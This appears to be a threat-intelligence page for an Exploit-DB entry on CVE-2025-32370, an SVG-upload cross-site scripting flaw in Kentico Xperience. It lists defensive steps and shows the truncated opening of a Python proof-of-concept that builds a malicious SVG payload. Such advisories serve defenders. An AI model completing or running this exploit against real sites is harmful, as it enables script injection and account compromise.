ExploitPublished
Kentico Xperience 13.0.178 · Cross Site Scripting (XSS)
Source Exploit-DB RSS Feed
0
Mentioned vulnerabilities
Severity
MediumRated by Threat Radar
Data as of 11 Jun 2025, 21:13 UTC
What to do
AI-suggested
- Immediate upgrade to the latest Kentico Xperience version where this vulnerability is patched. If an official patch is not yet available, contact Kentico support for guidance or apply vendor-recommended workarounds.
- Implement strict server-side validation and sanitization of uploaded files, especially SVG content, to prevent embedded scripts from executing.
- Restrict file upload types and enforce content-type validation to disallow SVG or other potentially dangerous file formats unless absolutely necessary.
- Employ Content Security Policy (CSP) headers to restrict the execution of inline scripts and reduce the impact of XSS attacks.
- Use Web Application Firewalls (WAF) with rules tuned to detect and block malicious upload attempts and suspicious SVG payloads.
- Monitor web server logs for unusual POST requests to the MultiFileUploader.ashx endpoint and investigate any anomalies.
- Educate developers and administrators about secure file upload handling and XSS prevention best practices.
- Consider disabling or restricting the vulnerable upload endpoint if it is not essential for business operations until a patch is applied.
Description
Kentico Xperience 13.0.178 - Cross Site Scripting (XSS)
Indicators of compromise
Exploit source code
# Exploit Title: Kentico Xperience 13.0.178 - Cross Site Scripting (XSS)
# Date: 2025-05-09
# Version: Kentico Xperience before 13.0.178
# Exploit Author: Alex Messham
# Contact: ramessham@gmail.com
# Source: https://github.com/xirtam2669/Kentico-Xperience-before-13.0.178---XSS-POC/
# CVE: CVE-2025-32370
import requests
import subprocess
import os
import argparse
def create_svg_payload(svg_filename: str):
print(f"[*] Writing malicious SVG to: {svg_filename}")
svg_payload = '''<?xml ver…References
Community reviews
Loading reviews…